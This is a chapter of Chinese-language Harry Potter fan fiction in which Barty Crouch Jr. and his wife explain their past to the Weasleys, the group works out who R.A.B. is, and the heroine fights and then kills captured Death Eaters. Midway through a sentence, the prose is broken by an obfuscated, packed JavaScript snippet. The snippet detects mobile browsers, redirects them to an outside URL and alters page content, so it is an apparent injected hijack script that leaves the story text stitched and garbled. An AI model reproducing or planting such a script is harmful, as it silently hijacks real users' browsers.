“就是那封信,她又变了,她想放弃对我的感情,我很气愤,之后的一个多月我一直给她写信,但她从来不看,她甚至当着我的面把我的信扔进壁炉里。” “没错,那阵子猫头鹰整天在格兰芬多的长桌上飞来飞去。”弗雷德说。 “但她回了休息室就会把它们烧掉,”乔治说,“我注意到那些信根本没拆封。” “那你们是怎么在一起的?”查理摸了摸自己的脑门,疑惑的问,“莉安挺倔的,她很不好说服。” “圣诞舞会那天,我发现她没拆我的礼物,我更生气了,”小巴蒂面无表情的说,“她跟乔治跳完开场舞就离开了城堡,我在仙境之光那里找到了她,把她带回了我的办公室,我控制了她,也不再喝复方汤剂,她发现一直陪着她的穆迪是我,除了和伏地魔在一起的那两天,我从来没有离开过她,她屈服了,她终于肯面对现实、面对她的心了,那天晚上之后我们就在一起了,她答应了我的求婚。” “是的,圣诞的第二天她就跟我提了分手,”比尔说,“芙蓉你别不高兴了,我记得你说过,第三场比赛时在迷宫里她和你聊了我的事,她很希望我跟你在一起,她喜欢你。” 芙蓉没有说话,她高傲的扬着下巴,甩了甩银色的长发。 “那她就不问你为什么潜伏在霍格沃茨?”赫敏不可置信的问道,“她对你和伏地魔的计划一无所知?” “不是所有人都像你一样打破砂锅问到底,格兰杰,”小巴蒂尖锐的说,“她信奉难得糊涂,我猜她不敢问,她怕我真的打算做什么坏事,而她阻止不了我,或者说,她会陷入两难的境地,她爱我,她当然不敢问,所以我也没说,因为我也爱她,我不想让她烦恼,更不会逼她和我一起帮助伏地魔,我们的立场是相悖的,我很清楚这一点,所以我不能那么做。” “我以为,我以为波特真的死定了,”小巴蒂脸色阴沉的看着哈利,“我经常对莉安说,等毕业后我们就回祖宅去,我们会结婚,然后一辈子都生活在一起,她答应了,她很开心…她一直都想让我离开霍格沃茨,但是我不能,我想报复我父亲,我必须帮伏地魔复活,后来的事你们都知道了。” “后来又发生了什么事?”查理纳闷的问,“比尔没告诉我呀!他就说莉安和你结婚了,你是个食死徒,她为了你劫狱,而莉安的信里压根就没提这些。” “后来他身份暴露,被邓布利多用了吐真剂盘问,然后用束缚咒绑在椅子上,”莉安的声音里充满了恨意,“我那时候正在努力挣脱他的夺魂咒,突然听到了他的计划,我很震惊,我不知道怎么办,我听到邓布利多让福吉来审问他,但是福吉压根不敢面对黑魔头回来的事实,他不打算把他关进阿兹卡班,而是召唤了一个摄魂怪来!他打算就地执行死刑!所以我施放了守护神,我缴了麦格和福吉的魔杖,撅断了福吉那根——我恨他!我唾弃他!而且我不能眼睁睁的看着我孩子的父亲接受摄魂怪之吻,变成一具行尸,所以我必须帮他逃跑,邓布利多追上来时,是我让他拿我当人质的,我不希望你们误会他,因为我确信他不会伤害我,他手里拿着的不是人质,是他的妻子和孩子。” “我的确猜中了,”赫敏恍然大悟,“罗恩,我就说吧,她是故意的,这一切都说得通了,之前我还想不明白,她怎么会和假穆迪有孩子,毕竟我不认为在执行伏地魔的计划时,小克劳奇会随便对一个学生暴露真实身份,这实在太危险了,要知道如果她不小心说漏嘴或者找邓布利多坦白,那么他的计划不会成功。” “嗯,没错,格兰杰,你一直在怀疑我,但是你忽略了一个最重要的信息,”小巴蒂提醒了赫敏一个显而易见的事实,“你们在神秘事务司那天,我一直在行星厅,是我在黑暗中击昏了其他三个食死徒,不然罗恩、金妮和洛夫古德能逃掉吗?” “噢,但是之后我们就碰到了贝拉特里克斯那个疯女人,我不知道中了什么咒语,感觉脑子昏昏沉沉的…”罗恩惆怅的说。 “然后你就在大脑厅对大脑用了一个飞来咒,”赫敏怜悯的说,“根据庞弗雷夫人的说法,思想几乎会比其他任何东西留下的印迹更深。” 罗恩挽起袖子,看着他前臂上那些被大脑的触角缠绕过的地方,仍然有些深深的伤疤,不禁叹了口气。 “那越狱呢?”莫丽伤心的嗓子都哑了,看上去她还在努力接受自己养的好白菜让猪给拱了的事实,“还有你是怎么救了阿拉斯托的?” “这是我的秘密,”莉安不好意思的摇了摇头,“只有巴蒂知道,我答应了他不能告诉别人。” “莫丽,这是可以当杀手锏用的,知道的人越少越好,”小巴蒂犹豫了一下,还是决定保守秘密,“我不敢让人知道她有这个能力,这太危险了,伏地魔尚且不知道她的全部实力都要干掉她,何况是现在人多眼杂的时候呢?万一谁不小心泄露了…我不能赌这个概率。” 莫丽显得有点恼火,不过亚瑟立刻点头表示认同,“没错没错,现在陋居是凤凰社的总部,每天人来人往,我都怕我自己不小心打了个瞌睡,说梦话被人听了去,不能说,莫丽,绝对不能!” “行了,赶紧布置保护咒吧,然后你去白鼬山接芙蓉的父母,他们用门钥匙过来,看时间应该快到了,我们必须给这里施反幻影移形,以后所有人都只能幻影显形到附近,不能直接落在院子里。” 听了莫丽妥协的话,亚瑟见好就收,匆匆的离去了。 “那你是什么时候跟邓布利多搭上线的?”赫敏非常敏锐的问,“我说过之前不是,应该是最近,这点我猜得估计也没错吧。” “噢,就是莉安被调到霍格莫德保护你们的时候,”小巴蒂放松的靠在沙发上,张开手臂,把莉安搂进怀里,“之前我答应她不会效忠伏地魔,但我的确没打算倒向凤凰社,但是邓布利多通过一些事情发现了我的身份,然后我跟他接了头。” “那你的任务是什么?”哈利警惕的问。 “跟邓布利多交给你的任务没多大关系,很快你们就会知道我要做什么了,”小巴蒂轻松的说,“莫丽,有樱桃汁吗?我家的樱桃汁都兑了复方汤剂。” “只有橘子汁和南瓜汁。”莫丽硬邦邦的说,看起来还是有些生气。 “没关系,那就橘子汁吧,”莉安笑了笑,“有时间我去一趟霍格莫德,罗斯默塔那里肯定有存货。” “好,把它们全买光。” 这时,听着他们的对话,罗恩捅了捅赫敏,偷偷嘀咕道,“克劳奇家族很有钱吗?” “不然呢?”赫敏说,“克劳奇先生曾经是魔法部的高官…他们家族几代人都是,克劳奇是与魔法部联系最密切的家族。” “那我好像知道他的任务是什么了。”哈利若有所思的说。 “跟魂器有关吗?”赫敏问。 “没有关系,嗯…可能跟珀西有关?” “那他惨了,”罗恩嘟囔着说,“没准小克劳奇会把他变成黄鼠狼。” “罗恩!”赫敏瞪了他一眼,“他可是珀西的妹夫!他不会做什么的!不然莫丽会伤心的。” “那个R.A.B.到底是谁呢?”哈利摩挲着口袋里的假魂器和魂器里的纸条,小声念道,“‘我偷走了真正的魂器,并打算尽快销毁它。’” “是啊,如果他已经把它毁了呢?”罗恩说。 “说不定这人还是个女的呢。”赫敏插嘴说。 “不管是谁,”罗恩说,“我们的任务都少了一个!” “但我们还是要争取找到真正的挂坠盒,不是吗?”赫敏说,“我们得弄清它是不是真的被毁掉了。” “那么,如果我们弄到了一个魂器,怎么把它毁掉呢?”罗恩问。 “这个嘛,”赫敏说,“我一直在研究。” “好啦好啦!”小天狼星打断了他们,“嘀咕什么呢?亚瑟要回来了,我们现在得去迎接芙蓉的父母。” 众人抬头一看,莫丽正虎视眈眈的瞪着罗恩,后者满不情愿的走上楼去穿上配对的袜子,而哈利很不乐意的试图把头发压平。 片刻后,终于所有人都认为自己打扮得够体面了,小巴蒂和莉安也站了起来,他们排着队来到阳光照耀的院子里,等候客人。 34. 耳朵 “我们简直像个家养小精灵了,”罗恩压低声音对莉安吐槽道,“只是没有工作成就感,我真巴不得这场婚礼赶快结束。” 哈利刚想大笑,突然想起他们昨天分类的堆积如山的结婚礼品,他立刻不笑了。 “我的屋子干吗要打扫?难道他们是在我的卧室里结婚吗?”罗恩气愤的不停吐槽,“还有哈利,一天打扫八次鸡棚,赫敏也是,把他们的床单换了又换!真不明白德拉库尔一家干吗要在婚礼前两天就来。” “还有我,”金妮厌烦的说,“我在一个餐巾环上留了点灰尘,妈妈就对我大喊大叫。” “因为芙蓉的妹妹是伴娘,她可能需要来排演一下,但她年纪太小,自己一个人来不了。”赫敏悄悄的说。 十一点时,德拉库尔一家三口终于到了,而哈利、罗恩、赫敏和金妮对芙蓉的家人已经是一肚子怨气了。 客人到来时,他们首先听到的是一声尖得反常的大笑,简直不敢相信那是亚瑟发出来的,片刻之后他出现在门口,提着沉重的行李,领着一位穿着叶绿色长袍的美丽的金发女人,她无疑便是芙蓉的母亲。 “妈妈!”芙蓉大喊一声,冲过去拥抱她,“爸爸!” 德拉库尔先生远不及妻子那么迷人,他比妻子矮一头,胖墩墩的,留着尖尖的小黑胡子,不过,看上去他脾气倒是很好。 他踩着高跟靴子快步走到莫丽跟前,在她两边脸颊上吻了两下,莫丽简直受宠若惊——法国人太热情了,哪怕她自己祖上就是法国人。 “真是太麻烦你们了,”德拉库尔先生用低沉的声音说,“芙蓉告诉我们,你们一直在辛苦忙碌。” “哦,那没什么,没什么!”莫丽声音颤巍巍的说,“一点儿也不麻烦!” 罗恩为了解恨,冲着振翅灌木后面的一只地精踢去。 “亲爱的夫人!”德拉库尔先生满脸带笑,两只胖乎乎的手仍然握着莫丽的手,“对于我们两家即将联姻,我们感到万分荣幸!请允许我介绍一下我的妻子,阿波琳。” 德拉库尔夫人脚步轻盈的走上前,也俯身亲吻了莫丽。 “太迷人了,”她说,“您丈夫给我们讲的故事真有趣!” 亚瑟发出神经质的笑声,莫丽朝他横了一眼,他立刻不吭声了,脸上露出一副百年战争时期英国战败了的表情。 看来罗恩对媚娃的精神抗性那么低是随他了。 “不用我说,你们已经见过我的小女儿加布丽了。”德拉库尔先生说。 加布丽是芙蓉的小型翻版,十一岁,一头齐腰的银色长发,她朝莫丽露出一个灿烂的笑容,拥抱了她一下,然后用放电的眼睛看着哈利,扑闪着眼睫毛,金妮大声清了清嗓子。 “好了,进来吧!”莫丽把德拉库尔一家让进房间。 和罗恩想得不一样,德拉库尔一家是令人愉快的客人,他们对一切都很满意,而且积极帮忙筹备婚礼,从座次安排,到伴娘的鞋子,德拉库尔先生一概表示“太可爱了!” 德拉库尔夫人在家务魔法方面是一把好手,一眨眼工夫就把烤炉擦得干干净净,加布丽像小尾巴一样跟着芙蓉,一边尽力帮点儿忙,一边用法语叽叽喳喳说个不停。 不利的是,陋居的容纳不了这么多人,韦斯莱夫妇大声嚷嚷着压倒德拉库尔夫妇的反对,坚持让客人睡在他们的卧室,他们自己则睡在客厅里,加布丽和芙蓉一起睡在珀西以前的房间里,伴郎查理决定去蹭表妹的房子当电灯泡,至于金妮,她不愿意离开哈利。 莉安和小巴蒂早上都没吃饭,饿得肚子大声咕咕叫,莫丽这才想起来两人一大早上就赶到陋居面对所有人盘问,根本没时间吃饭,她懊恼的揉了揉太阳穴,立刻煎了一大盘的培根和鸡蛋香肠,直到他们两个吃得一点也不剩,才提着一大篮洗好的衣服走出厨房。 “噢,很好,你们喂了鸡,”莫丽的声音从厨房窗户底下传来,“我们最好把鸡再关起来,明天有人要来为婚礼搭帐篷,是米拉芒的魔法帐篷…美妙极了,比尔陪他们一起过来…哈利,他们在这里的时候,你最好待在屋里,唉,周围弄了这么多安全魔咒,办一场婚礼变得真复杂啊。” “对不起。”哈利的声音很低。 “别说傻话,亲爱的!”莫丽说道,“我不是那个意思——唉,你的安全才是顶顶重要的!对了,我一直想问你希望怎么庆祝你的生日,哈利,十七岁啊,这毕竟是个重要的日子…” “我不想兴师动众,”哈利迅速的说,他们听得出来,他的语气有些愧疚,“真的,韦斯莱夫人,一顿平平常常的晚餐就行了…就在婚礼的前一天…” “哦,好吧,亲爱的,如果你真这样想,我邀请莱姆斯和唐克斯,好吗?海格和穆迪呢?” “那太棒了,”哈利说,“可千万别太麻烦了。” “没有,没有…一点儿也不麻烦…” 莉安起身,顺着窗户看到莫丽挥舞着魔杖,那些湿衣服自动飞到空中挂了起来,她的表情有点凄楚——毕竟除了珀西和年纪还小的金妮,韦斯莱家其余所有人都是凤凰社的人。 莫丽去房间里找德拉库尔夫妇说话后,墙根底下又传来了哈利的声音,不过压的很低。 “我们现在没有其他的线索,只能先找到这个叫R.A.B.的人,”他说,“不然邓布利多就白费了…” “波特,你进来!”小巴蒂突然对着窗户喊道,情绪有些激动。 那声音就跟卡着脖子一样立刻被切断了,莉安望了望小巴蒂难得失态的样子,有点儿迷茫,这时,三人组走了进来,哈利气愤的冲他大声嚷嚷。 “你偷听我们对话!” “是你们忘了用闭目塞听,我是这么教你的?我让你时刻保持警惕!” 说完,小巴蒂又冷冷的补充了一句,“说吧,你找R.A.B.干什么?” “不关你事!”哈利倔强的说。 “我认识R.A.B.,并且跟他关系很好,”小巴蒂慢条斯理的说,“坐下吧罗恩、格兰杰,还有你,波特,我刚才听到了你说起邓布利多,我猜是邓布利多死的那天,他带着你去做秘密任务了吧?” 罗恩和赫敏对视一眼,坐了下来,而哈利狠狠的瞪着他。 “你是不是忘了那天你跟邓布利多撞见我了?”小巴蒂挥手让他坐下,罗恩连忙把他拉倒在椅子上,“我知道你们的事,只是跟我没多大关系,所以我没对任何人说过,你是认为我口风不严吗?要知道我跟莉安结婚两年了,可你想想,陋居这边有一丝风声泄露给食死徒吗?” “但是邓布利多不让我们说,很抱歉。”赫敏坚决的说。 “我并没有打算让你们和我说,毕竟你也不信我,我只是很诧异,波特,你为什么不告诉西里斯呢?他是真的对你好,我可以很肯定的告诉你,就算詹姆斯·波特还活着,他对你也就这样了,不会比西里斯更好,如果你早点跟他谈一谈,他肯定会告诉你R.A.B.的事,而不是让你在这苦思冥想,有时候,有些人能给你意想不到的帮助。” 莉安举起魔杖施放了守护神,“去楼上或者院子里把西里斯喊过来。” 银色的奶牛猫蹦蹦跳跳的跑远了。 等小天狼星匆匆跑进厨房时,他头上还顶着婚礼要用的彩带,“怎么了?怎么了?这么大点地方还要用守护神找我?你那个猫也不好好带路,我还以为你们在保护咒外面呢!” “Muffliato! ”小巴蒂用了闭目塞听,厨房的门哐当一声关上了,现在所有人都坐在椅子上,专注的看着他。 “我有个朋友,可以说是我在霍格沃茨时最好的朋友,他跟我形影不离,西里斯,你知道他是谁吧?”小巴蒂阴沉沉的问。 “噢,你说我那个傻瓜弟弟,小天狼星苦笑一下,用手梳理着他变得柔顺许多的长卷发,“我讨厌他,因为他疯狂的痴迷纯正血统,他跟我父母一样相信,身为布莱克家的人天生就是高贵的…雷尔性情太软弱,居然相信了沃尔布加的话…” “你跟我说过,他已经死了。”哈利喃喃的说。 “是啊,”小天狼星说,“愚蠢的白痴…他加入了食死徒的行列,和小克劳奇一起,他俩的关系很亲密,就像我和你爸爸那样,哈利。” “雷古勒斯·阿克图勒斯·布莱克,”小巴蒂转头看向赫敏,“格兰杰,发现什么没有?” “R.A.B.,雷古勒斯·布莱克的缩写!” 一声惊叫,赫敏猛地站了起来,紧紧抓住哈利的胳膊,疼得他呲牙咧嘴,“对得上啊!他是食死徒,一定能接触伏地魔,如果他后来悔悟了,就有可能打败伏地魔!” “西里斯的弟弟?”罗恩不可置信的问。 “是啊,”哈利说,“西里斯跟我说过,他年轻时候加入的,后来害怕了,想要退出——他们就杀死了他。” “他是被伏地魔杀害的,或者,更有可能是在伏地魔的指使下被害的,”小天狼星苦涩的望着小巴蒂,“我怀疑雷尔还没有那么重要,需要伏地魔亲手去干掉他,从他死后我了解的情况看,他已经陷得很深,然后他对别人要他做的事情感到恐惧,就想退出,唉,你不可能向伏地魔递一份辞职报告就算完事,要么终身卖命,要么死路一条。” “不,我们没有杀死他,”小巴蒂瞥了小天狼星一眼,沉声道,“雷尔失踪了,伏地魔一直在寻找他,我们以为是凤凰社的人把他杀了。” “完全对上了!”哈利兴奋的说,“我知道了!” “你知道什么了?”小天狼星纳闷的说。 “我们得回一趟布莱克祖宅!”哈利慌忙的说,“那东西肯定在那里!” “哦,那可不一定,它可能还在那儿,但被施了抵抗咒,”赫敏说,“防止它被咒语召出,我们得用手搜,估计要很长时间才能找到。” “可能不行,”罗恩吭哧吭哧的说,“你们还记不记得我们上次打扫房子,把那些有钉子的老爷钟,还有差点把我勒死的旧袍子都扔掉了,里面好像有那个东西。” “什么?”哈利惊讶的问。 “在客厅的柜子里,没人打得开,我们…” 哈利感到一块砖头从胸口坠到肚子里,他记起来了:他还摸过一下呢,当时大家传看着那个东西,轮流尝试想把它撬开,后来它被丢进了一个垃圾袋,那里面还有装着肉瘤粉的鼻烟盒和让每个人打瞌睡的音乐盒…… “不,也许它还在,因为克利切从我们这里偷走了许多东西,”哈利充满希望的说,“他在厨房碗柜里藏了一大堆宝贝。” “克利切!”尽管不知道他们在打什么哑迷,但小天狼星绝对支持哈利要做的任何事,他不再犹豫,大喊一声。 啪的一声,一个家养小精灵出现了,他站在厨房冷冰冰、空荡荡的壁炉跟前:瘦瘦小小,只有半人高,苍白的皮肤打着褶垂下来,蝙蝠般的耳朵里冒出大量白毛。 他穿着一块肮脏的抹布,眼神轻蔑又恶毒的看着小天狼星。 “我那闻着就像阴沟和罪犯的气味的主人,一个讨厌的败家子,他居然还没有死,又活过了一年,”克利切嘶哑的说,低低的鞠了一躬,对着膝盖嘀咕道,“如果我的女主人知道他仍然跟混血小崽子、败类韦斯莱和泥巴种——” “不许这么说赫敏!”罗恩大吼一声,但赫敏立刻拦住了他。 “没关系,”她小声说,“他脑子不正常,不知道自己在说——” “你别自欺欺人了,赫敏,他很清楚自己在说什么。”哈利厌恶的瞪着克利切。 “我有事要问你。”小天狼星不耐烦的说。 “请说吧少爷,”克利切说着又鞠了一躬,随即压低声音又念叨开了,“少爷是个讨厌的、忘恩负义的下流坯,伤透了他母亲的心,噢,我可怜的女主人啊,如果她地下有知,她会对老克利切说些什么呢,可怜的老克利切,我还能怎么办呢…” “她没有心,”小狼星没好气的说,“她完全是靠怨恨维持生命的。” “不管少爷怎么说,少爷连给他母亲擦鞋底都不配,”克利切愤愤不平的嘟哝道,“哦,我可怜的女主人啊,如果她看见克利切在服侍少爷会怎么说呢,女主人是多么恨他啊,他多么令人失望——” “我问你这个东西在哪里,”小天狼星接过哈利递给他的挂坠盒,冷冷的说,“每次你假装打扫卫生,就把什么东西偷偷拿到你的窝里,不让我们扔掉,这个东西现在在哪儿,去把它找来拿给我。” 克利切盯着小天狼星手里的挂坠盒,呼吸都变得粗重了,他好像很想要这个东西,小天狼星敏锐的发现了这一点,立刻晃了晃它,催促他赶紧去把东西拿来,克利切不敢违抗主人直接的命令,不过,当他幻影移形前,投给小天狼星的目光充满了刻骨铭心的憎恨,而且他嘴里一直念念有词。 “从魔法部活着回来,倒又开始对克利切指手画脚了,哦,我可怜的女主人,如果她看到卑鄙小人还活着,并且把她的宝贝扔了出去,她会说什么呢?现在就连雷古勒斯少爷给我的东西他也要拿走了,女主人曾发誓不认他这个儿子的,克利切实在没办法了,他又活着回来了,他这个杀人犯——” “我早就平反了,你再念叨,我就真的要杀人啦!你才是杀人凶手,你差点杀了我!”小天狼星烦躁的对着克利切消失的地方吼道。 “西里斯,他的脑子不正常,”赫敏恳求的说,“我想他只是需要一点关心,他差一点把你坑死,我们不能重蹈覆辙——” “你还记得呀,”莉安惊讶的看着赫敏,“我以为你忘了呢?一个想坑死主人的小精灵很值得同情吗?那你怎么不同情我丈夫呀?老克劳奇也是真的差点要了他的命,毕竟他没折磨纳威的父母呀,阿兹卡班终身监禁,你怕不怕?你当然不怕,因为你不知道那是什么滋味,你甚至要西里斯理解克利切,还要他忍受自己仆人的谩骂和羞辱,西里斯没像布莱克的老祖宗那样把他的头切下来挂在老宅里当装饰,我都怀疑是卢平把他给影响到了。” 卢平:……我已经不那么圣了,勿cue! 小天狼星:谢谢你,我的嘴替!怼死这些个圣父圣母! “我记得第三场比赛之前我跟你们说过,”小天狼星皱着眉看三人组,“小克劳奇就在我隔壁的牢房,我看见摄魂怪们把他带了进来,我隔着牢门的铁栏杆注视着他们,他当时十九岁,刚来的时候就病歪歪的,傍晚的时候,他尖声叫喊着妈妈,不过几天之后他就无声无息了…在阿兹卡班就是这样,最后都无声无息了…只偶尔在睡梦中发出尖叫…如果他妈妈不救他,他很快就会憔悴而死。” “如果他真的折磨了隆巴顿夫妇,那是他罪有应得,但是如果他没有…那就太残忍了…”小天狼星抓起桌子上的南瓜汁一口气喝干,重重的喘息着,“我在阿兹卡班待了十二年,你们不能明白的…所以我发现彼得那个叛徒时,我立刻就想想杀了他,可是你们阻止我,想把他交给魔法部…他逃掉了…我又躲藏了两年…” “是啊,比赛前你来看哈利的时候,是靠吃老鼠过日子的,”罗恩干巴巴的说,“我们不能忘记你为哈利吃过的苦。” 哈利想到小天狼星在山洞里狼吞虎咽的吃他们偷偷从礼堂带来的鸡腿,一时心痛难当。 莉安把一言不发的小巴蒂搂进怀里,抚摸他金色的蓬松头发,“我不管你们怎么圣,但是不能要求别人,因为每个人的想法不一样,不勉强别人是一种美德。” “是啊,就算他一主二仆,把西里斯出卖给伏地魔,把我们骗到神秘事务司去,甚至让我们差一点儿死掉了,我们也没对他做什么,”哈利低着头说,“这还不够吗?” “知道什么叫忠诚的仆人吗?”莉安轻声的说,“闪闪被解雇都没有透露巴蒂的事,她才是值得尊重的小精灵,我从来都没有薄待过她,别给我提邓布利多那一套,什么值得同情,克利切不值得同情,他想害死西里斯,不仅如此,他平等的憎恨我们所有人,如果有机会,他还会再害西里斯一次,甚至出卖我们。” 片刻的沉默,然后是熟悉的“啪”的一声,克利切手里拿着一个挂坠盒,瞪着小天狼星,那眼神简直希望他不得好死。 “你们是不是有事要谈?”小巴蒂在莉安怀里抬起头,“我想后面的事应该不是我们能参与的吧?” 莉安连忙起身,但仍然用手臂搂着他,“我们先出去了,哈利,有任何需要帮助的地方都可以跟我说。” 哈利闷闷的点了点头,赫敏悲哀的看着他们。 “是啊,你们去应付莫丽吧,我想她已经快疯了,”小天狼星耸了耸肩,“她从来不肯让几个孩子待在一起半刻钟以上。” “行吧,反正我替乔治和弗雷德背锅也不是第一次了,现在变成他们三个也没什么,”莉安乐观的说,“希望姑妈不要跟我大发脾气。” 显然盲目的乐观是不对的,等她离开厨房时,莫丽正在客厅里急得团团转,见她和小巴蒂出来,简直是怒吼一声。 “你又纵容他们!他们打算从霍格沃茨退学!” “那是邓布利多留给他们的任务,”莉安含混的说,“他们必须做,就像我跟巴蒂也是如此。” “但你不知道那是什么样的任务!” “我的确不知道,他们不愿意告诉我。” 但我认为亚瑟和我有权知道,而且我相信格兰杰夫妇也会赞同!” “邓布利多不想让别的任何人知道,莫丽,”莉安叹了口气,“对不起,姑妈,我也不想看他们冒险,可是他们三个都成年了,那是他们自己的选择,就像如今的魔法部那样,傲罗指挥部已经沦陷了,可我必须得去——” “我认为你也用不着去!你应该在家里呆着,反正还有小克劳奇不是吗?”莫丽厉声说道,“全是一派胡言,如果邓布利多有工作需要完成,整个凤凰社都听他调遣!哈利肯定是弄错他的意思了,邓布利多大概是告诉了哈利他希望完成的事情,结果哈利就以为邓布利多想让他——” “不会的,”莉安轻轻的说,“邓布利多不会犯这种低级错误。” “你这两天把他们几个支使的团团转,让他们帮忙筹备婚礼,忙得几乎没有时间待在一起,恐怕是想分散他们的注意力,不让他们离开陋居吧?”小巴蒂一针见血的说,“你以为只要不让他们三个凑在一起商量计划,就能推迟他们离开的时间?莫丽,你想的太好了,你不清楚这房子里除了德拉库尔一家和我,会喘气儿的都是格兰芬多吗?” 莫丽尖叫一声,“别说了!我不允许!” “但是我觉得可以,西里斯也在里面,”小巴蒂耐心的安抚她的情绪,“如果他们真的要做什么,最起码他们愿意带上西里斯了,他的战斗力不弱,也算有个保障不是?再不济我们这么多人,他们难道不会搬救兵吗?凤凰社都打入食死徒内部了,给大家一点信心,好吗?” 莫丽倒在沙发上,噼里啪啦的掉着眼泪,“我是真的担心,《预言家日报》甚至都没有报导神秘人袭击了哈利的事,斯克林杰不愿意承认神秘人有那么强大,更不愿意承认阿兹卡班发生了集体越狱,每天都有人失踪,孩子们受到袭击…而亚瑟告诉我,这段时间斯克林杰整天把自己关在办公室里,我倒是真希望他在制定针对神秘人的方案,但是这可能吗?” “我建议你当他不存在。”小巴蒂委婉的说。 莫丽哭得更大声了。 “我会照顾他们的,只要他们来找我,”莉安头痛的说,“我的房子可比陋居还要安全,巴蒂又加了很多保护措施,而且我还施了赤胆忠心咒,我是保密人。” “是啊,据说妈妈昨天差点就逼得哈利把那张羊皮纸条交给她了,她想去找你,是比尔拦住了她,”查理从楼梯上下来,心有余悸的说,“比尔说那是哈利无路可走时的一个安全居,如果你丈夫的确可信,还有哪里比你的房子更安全呢?比尔也把他最近建好的贝壳小屋保密了,地址也给了哈利。” “你在国外的任务怎么样?”莫丽哭得直打嗝,问道。 “不怎么样,”查理忧心忡忡的说,“你们也清楚,神秘人的魔爪暂时没入侵他们那里,他们更喜欢当鸵鸟,但这也不能怪他们,很多人还对几十年前肆虐欧洲大陆的格林德沃带来的黑色恐怖记忆犹新,我也没什么好办法,邓布利多想让我吸引国外的巫师加入凤凰社,怕是不行了。” 莉安跟他对视一眼,悻悻的叹了口气,只有莫丽的哭声还在客厅里回荡,小巴蒂听得脑瓜子都在嗡嗡叫,莉安不怎么爱哭,他实在不知道如何安抚哭泣的女人。 “莫丽,别哭了,我出去一趟,等我回来的时候,你会高兴的。”说完,小巴蒂匆匆的离开了陋居,留下了查理和忘了继续哭的莫丽,两人面面相觑,又同时转头看莉安。 “别问我,我什么也不知道,”莉安举起双手做投降状,“噢…我还有事,我得去罗斯默塔那里搞点樱桃汁…” “莉安!莉安!”莫丽在身后大声喊着,但莉安也没有停留,一离开保护咒的范围,立刻幻影移形了。 天气晴好,微风袭袭,但是霍格沃德的大街上静悄悄的,几乎没几间店铺开门,甚至很多店铺都用木板封上了,莉安路过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727500|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邮局时将近三百只猫头鹰正坐在橱窗里,对着她低低的叫着,其中一只小吟游诗人猫头鹰(只限当地投递)甚至小得可以坐在人的手掌上。 再往前走,是佐科笑话商店,少了人来人往的学生,看起来冷清极了,等她走近三把扫帚酒吧时,门里突然传来沙哑的叫喊声。 “——不许进来!”罗斯默塔大声喊道,强行撵出来一个看起来很邋遢的巫师,这时她看到了莉安,警惕的四处瞄了瞄,突然用微不可闻的声音说,“哦,普威特女士…你最好赶快离开这里…” 还没等她说完,三把扫帚的门里突然冲出来四个穿斗篷、戴兜帽的食死徒,他们高举魔杖,虎视眈眈的盯着莉安。 “真晦气,居然碰到个傲罗娘们!” “把她捉了正好,”另一个食死徒说,“反正咱们也是出来找乐子的。” 另外的食死徒笑了几声,用不怀好意的垂涎目光上上下下打量着莉安,其中一个突然怪声怪气的笑道,“脸蛋儿很漂亮,身材也不错,看她穿得这身麻瓜衣服…” 莉安打了个响指,说时迟那时快,只见凭空蹿过来几条绳索,把他捆了个结结实实,几根绳结甚至伸进了嘴巴里,把它粗暴的堵上了。 莉安抽出魔杖,指着另外几个食死徒,“罗斯默塔女士,请你先进去。” 战斗来得极快,罗默斯塔尖叫一声,躲进了酒吧里,街上开始飞舞着各种颜色的光束,咒语嗖嗖的划过空气,在橱窗附近炸响,莉安给自己施了铁甲咒,然后跳来跳去的躲避红色的钻心咒。 “Expulso! ”飞沙走石咒语正中一个食死徒的胸口,随着一声杀猪般的嚎叫,他的身子飞了起来,撞到对面的一间店铺的墙上,然后滑了下去,不动了。 还剩下两个食死徒,莉安同时标记了他们,用了一套连招:障碍重重、除你武器,最后是一个昏昏倒地收尾,两个食死徒弹了起来,他们的魔杖飞进她手里,而身体撞碎了三把扫帚的橱窗,只听哗啦一声,玻璃碎了满地,他们飞进了店里。 莉安漫不经心的收起魔杖,打开了三把扫帚的门,对着躲在吧台下面瑟瑟发抖的罗斯默塔扬扬眉毛,“樱桃汁,我要你所有的库存,还有多少?” “有…还有…”罗斯默塔灰头土脸的站起来,看着那两个昏迷不醒的食死徒,愣愣的说,“后面的仓库里还有两大桶。” “赫洛!”莉安喊了一声,随后空气中传来了噼啪的爆响。 “主人,你叫我?” “你去后面的房间,把樱桃汁全部带回房子里去,噢不…等等,”莉安举起魔杖,变形出一个酒壶,去后面装了满满一壶冰镇樱桃汁,这才让赫洛收起了所有的樱桃汁。 “记得结账,多给罗斯默塔女士一些金币,橱窗是被我打破的。” 赫洛瞪着她,好半晌才不情不愿的说,“遵命,我的主人,赫洛知道这肯定又是为了那个坏男巫,我的主人一定是中了他的迷情剂…” 莉安无奈的看着她,催促道,“不许骂他了,快去!” 赫洛的嘴无声的蠕动着,无疑是在默念现在禁止她说的侮辱性的话语。 莉安回到吧台前,懒洋洋的拍了拍手,绳子又把三个食死徒捆起来,但是她也不知道现在要怎么办——摄魂怪已经叛变,食死徒越狱成了家常便饭,阿兹卡班反而成了他们养老的风水宝地,最后她只能对一开始被绑住的食死徒用了个漂浮咒,让他们四个叠在一起,挨个儿用了粉碎咒,把他们的心脏击穿——战争已经打响,特殊时刻不能手下留情,如果今天她放过他们,明天他们就会千百倍的报复回来,甚至让狼人咬她的孩子。 赫洛给了足够的加隆后,她跟罗斯默塔打了个招呼,拿着一壶樱桃汁幻影移形回到了陋居附近空出的一片场地上——那里是明天搭建婚礼帐篷的地方。 莉安现在已经弄不清凤凰社和魔法部究竟给陋居施了多少安全魔咒,她只知道亚瑟在去接德拉库尔夫妇时,又布置了反幻影移形,导致任何人都不能再凭借魔法直接光临这里,因为陋居已经取代格里莫广场12号成了总部,经常有凤凰社的其他成员来吃晚饭,亚瑟说,自从保密人邓布利多死后,凡是邓布利多向其透露过格里莫广场位置的人,统统都变成了保密人。 